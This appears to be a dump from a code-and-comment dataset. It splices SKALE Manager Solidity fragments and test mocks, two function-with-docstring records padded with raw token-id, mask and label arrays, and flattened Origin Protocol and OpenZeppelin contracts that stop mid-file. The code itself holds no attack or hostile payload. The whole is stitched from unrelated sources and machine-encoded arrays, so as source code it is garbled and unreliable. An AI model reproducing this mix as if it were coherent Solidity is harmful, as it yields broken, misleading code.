Nodes nodes = Nodes(contractManager.getContract("Nodes"));
uint numberOfActiveNodes = nodes.getNumberOnlineNodes();
require(totalNodes != numberOfActiveNodes, "No changes to node supply");
totalNodes = numberOfActiveNodes;
}
function _getTotalLoad() private view returns (uint) {
SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal"));
uint load = 0;
uint numberOfSchains = schainsInternal.numberOfSchains();
for (uint i = 0; i < numberOfSchains; i++) {
bytes32 schain = schainsInternal.schainsAtSystem(i);
uint numberOfNodesInSchain = schainsInternal.getNumberOfNodesInGroup(schain);
uint part = schainsInternal.getSchainsPartOfNode(schain);
load = load.add(
numberOfNodesInSchain.mul(part)
);
}
return load;
}
function _getTotalCapacity() private view returns (uint) {
Nodes nodes = Nodes(contractManager.getContract("Nodes"));
ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder"));
return nodes.getNumberOnlineNodes().mul(constantsHolder.TOTAL_SPACE_ON_NODE());
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
SchainsInternalMock.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import "../SchainsInternal.sol";
contract SchainsInternalMock is SchainsInternal {
function removePlaceOfSchainOnNode(bytes32 schainHash, uint nodeIndex) external {
delete placeOfSchainOnNode[schainHash][nodeIndex];
}
function removeNodeToLocked(uint nodeIndex) external {
mapping(uint => bytes32[]) storage nodeToLocked = _getNodeToLockedSchains();
delete nodeToLocked[nodeIndex];
}
function removeSchainToExceptionNode(bytes32 schainHash) external {
mapping(bytes32 => uint[]) storage schainToException = _getSchainToExceptionNodes();
delete schainToException[schainHash];
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
LockerMock.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "../interfaces/delegation/ILocker.sol";
contract LockerMock is ILocker {
function getAndUpdateLockedAmount(address) external override returns (uint) {
return 13;
}
function getAndUpdateForbiddenForDelegationAmount(address) external override returns (uint) {
return 13;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
MathUtilsTester.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "../utils/MathUtils.sol";
contract MathUtilsTester {
using MathUtils for uint;
function boundedSub(uint256 a, uint256 b) external returns (uint256) {
return a.boundedSub(b);
}
function boundedSubWithoutEvent(uint256 a, uint256 b) external pure returns (uint256) {
return a.boundedSubWithoutEvent(b);
}
function muchGreater(uint256 a, uint256 b) external pure returns (bool) {
return a.muchGreater(b);
}
function approximatelyEqual(uint256 a, uint256 b) external pure returns (bool) {
return a.approximatelyEqual(b);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
SegmentTreeTester.sol - SKALE Manager
Copyright (C) 2021-Present SKALE Labs
@author Artem Payvin
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import "../utils/SegmentTree.sol";
contract SegmentTreeTester {
using SegmentTree for SegmentTree.Tree;
SegmentTree.Tree private _tree;
uint[129] private _places;
function initTree() external {
_tree.create(128);
for (uint8 i = 1; i <= 128; i++) {
if (_places[i] > 0)
_tree.addToPlace(i, _places[i]);
}
}
function addElemInPlaces(uint place, uint elem) external {
_places[place] = elem;
}
function addToLast(uint elem) external {
_tree.addToPlace(_tree.getSize(), elem);
}
function addToPlace(uint place, uint elem) external {
_tree.addToPlace(place, elem);
}
function removeFromPlace(uint place, uint elem) external {
_tree.removeFromPlace(place, elem);
}
function moveFromPlaceToPlace(uint fromPlace, uint toPlace, uint elem) external {
_tree.moveFromPlaceToPlace(fromPlace, toPlace, elem);
}
function sumFromPlaceToLast(uint place) external view returns (uint) {
return _tree.sumFromPlaceToLast(place);
}
function getRandomElem(uint place) external view returns (uint) {
Random.RandomGenerator memory randomGenerator = Random.createFromEntropy(
abi.encodePacked(uint(blockhash(block.number - 1)), place)
);
return _tree.getRandomNonZeroElementFromPlaceToLast(place, randomGenerator);
}
function getElem(uint index) external view returns (uint) {
require(index < _tree.tree.length, "Incorrect index");
return _tree.tree[index];
}
function getSize() external view returns (uint) {
return _tree.getSize();
}
}
|
* @dev Allows SkaleManager contract to restart schain creation by forming a new schain group. Executed when DKG procedure fails and becomes stuck. Emits a {NodeAdded} event. Requirements: - Previous DKG procedure must have failed. - DKG failure got stuck because there were no free nodes to rotate in. - A free node must be released in the network./
|
function restartSchainCreation(string calldata name) external allow("SkaleManager") {
NodeRotation nodeRotation = NodeRotation(contractManager.getContract("NodeRotation"));
bytes32 schainHash = keccak256(abi.encodePacked(name));
ISkaleDKG skaleDKG = ISkaleDKG(contractManager.getContract("SkaleDKG"));
require(!skaleDKG.isLastDKGSuccessful(schainHash), "DKG success");
SchainsInternal schainsInternal = SchainsInternal(
contractManager.getContract("SchainsInternal"));
require(schainsInternal.isAnyFreeNode(schainHash), "No free Nodes for new group formation");
uint newNodeIndex = nodeRotation.selectNodeToGroup(schainHash);
skaleDKG.openChannel(schainHash);
emit NodeAdded(schainHash, newNodeIndex);
}
| 10,036,728 |
[
1,
19132,
10362,
5349,
1318,
6835,
358,
7870,
272,
5639,
6710,
635,
646,
310,
279,
394,
272,
5639,
1041,
18,
3889,
4817,
1347,
31176,
43,
12131,
6684,
471,
12724,
384,
9031,
18,
7377,
1282,
279,
288,
907,
8602,
97,
871,
18,
29076,
30,
300,
19369,
31176,
43,
12131,
1297,
1240,
2535,
18,
300,
31176,
43,
5166,
2363,
384,
9031,
2724,
1915,
4591,
1158,
4843,
2199,
358,
8534,
316,
18,
300,
432,
4843,
756,
1297,
506,
15976,
316,
326,
2483,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
7870,
55,
5639,
9906,
12,
1080,
745,
892,
508,
13,
3903,
1699,
2932,
5925,
5349,
1318,
7923,
288,
203,
3639,
2029,
14032,
756,
14032,
273,
2029,
14032,
12,
16351,
1318,
18,
588,
8924,
2932,
907,
14032,
7923,
1769,
203,
3639,
1731,
1578,
272,
5639,
2310,
273,
417,
24410,
581,
5034,
12,
21457,
18,
3015,
4420,
329,
12,
529,
10019,
203,
3639,
4437,
79,
5349,
3398,
43,
4343,
5349,
3398,
43,
273,
4437,
79,
5349,
3398,
43,
12,
16351,
1318,
18,
588,
8924,
2932,
5925,
5349,
3398,
43,
7923,
1769,
203,
3639,
2583,
12,
5,
7771,
5349,
3398,
43,
18,
291,
3024,
3398,
43,
14277,
12,
87,
5639,
2310,
3631,
315,
3398,
43,
2216,
8863,
203,
3639,
348,
23060,
3061,
18551,
4167,
3061,
273,
348,
23060,
3061,
12,
203,
5411,
6835,
1318,
18,
588,
8924,
2932,
55,
23060,
3061,
7923,
1769,
203,
3639,
2583,
12,
87,
23060,
3061,
18,
291,
2961,
9194,
907,
12,
87,
5639,
2310,
3631,
315,
2279,
4843,
14037,
364,
394,
1041,
646,
367,
8863,
203,
3639,
2254,
10942,
1016,
273,
756,
14032,
18,
4025,
907,
774,
1114,
12,
87,
5639,
2310,
1769,
203,
3639,
4343,
5349,
3398,
43,
18,
3190,
2909,
12,
87,
5639,
2310,
1769,
203,
3639,
3626,
2029,
8602,
12,
87,
5639,
2310,
16,
10942,
1016,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/3/0x0e9638c50d2f60057C958201e3881b2D7c7EE76C/sources/ConnectRenter.sol
|
TODO how to handle this proxy method
|
function balanceOf(address owner) public view returns (uint256) {
return tokenContract.balanceOf(owner);
}
| 8,195,267 |
[
1,
6241,
3661,
358,
1640,
333,
2889,
707,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
11013,
951,
12,
2867,
3410,
13,
1071,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
327,
1147,
8924,
18,
12296,
951,
12,
8443,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/*
* Origin Protocol
* https://originprotocol.com
*
* Released under the MIT license
* https://github.com/OriginProtocol/origin-dollar
*
* Copyright 2020 Origin Protocol, Inc
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.5.5;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.5.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: @openzeppelin/upgrades/contracts/Initializable.sol
pragma solidity >=0.4.24 <0.7.0;
/**
* @title Initializable
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*/
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
// File: contracts/interfaces/IStrategy.sol
pragma solidity 0.5.11;
/**
* @title Platform interface to integrate with lending platform like Compound, AAVE etc.
*/
interface IStrategy {
/**
* @dev Deposit the given asset to Lending platform.
* @param _asset asset address
* @param _amount Amount to deposit
*/
function deposit(address _asset, uint256 _amount)
external
returns (uint256 amountDeposited);
/**
* @dev Withdraw given asset from Lending platform
*/
function withdraw(
address _recipient,
address _asset,
uint256 _amount
) external returns (uint256 amountWithdrawn);
/**
* @dev Returns the current balance of the given asset.
*/
function checkBalance(address _asset)
external
view
returns (uint256 balance);
/**
* @dev Returns bool indicating whether strategy supports asset.
*/
function supportsAsset(address _asset) external view returns (bool);
/**
* @dev Liquidate all assets in strategy and return them to Vault.
*/
function liquidate() external;
/**
* @dev Collect reward tokens from the Strategy.
*/
function collectRewardToken() external;
/**
* @dev The address of the reward token for the Strategy.
*/
function rewardTokenAddress() external pure returns (address);
/**
* @dev The threshold (denominated in the reward token) over which the
* vault will auto harvest on allocate calls.
*/
function rewardLiquidationThreshold() external pure returns (uint256);
}
// File: contracts/governance/Governable.sol
pragma solidity 0.5.11;
/**
* @title OUSD Governable Contract
* @dev Copy of the openzeppelin Ownable.sol contract with nomenclature change
* from owner to governor and renounce methods removed. Does not use
* Context.sol like Ownable.sol does for simplification.
* @author Origin Protocol Inc
*/
contract Governable {
// Storage position of the owner and pendingOwner of the contract
bytes32
private constant governorPosition = 0x7bea13895fa79d2831e0a9e28edede30099005a50d652d8957cf8a607ee6ca4a;
//keccak256("OUSD.governor");
bytes32
private constant pendingGovernorPosition = 0x44c4d30b2eaad5130ad70c3ba6972730566f3e6359ab83e800d905c61b1c51db;
//keccak256("OUSD.pending.governor");
event PendingGovernorshipTransfer(
address indexed previousGovernor,
address indexed newGovernor
);
event GovernorshipTransferred(
address indexed previousGovernor,
address indexed newGovernor
);
/**
* @dev Initializes the contract setting the deployer as the initial Governor.
*/
constructor() internal {
_setGovernor(msg.sender);
emit GovernorshipTransferred(address(0), _governor());
}
/**
* @dev Returns the address of the current Governor.
*/
function governor() public view returns (address) {
return _governor();
}
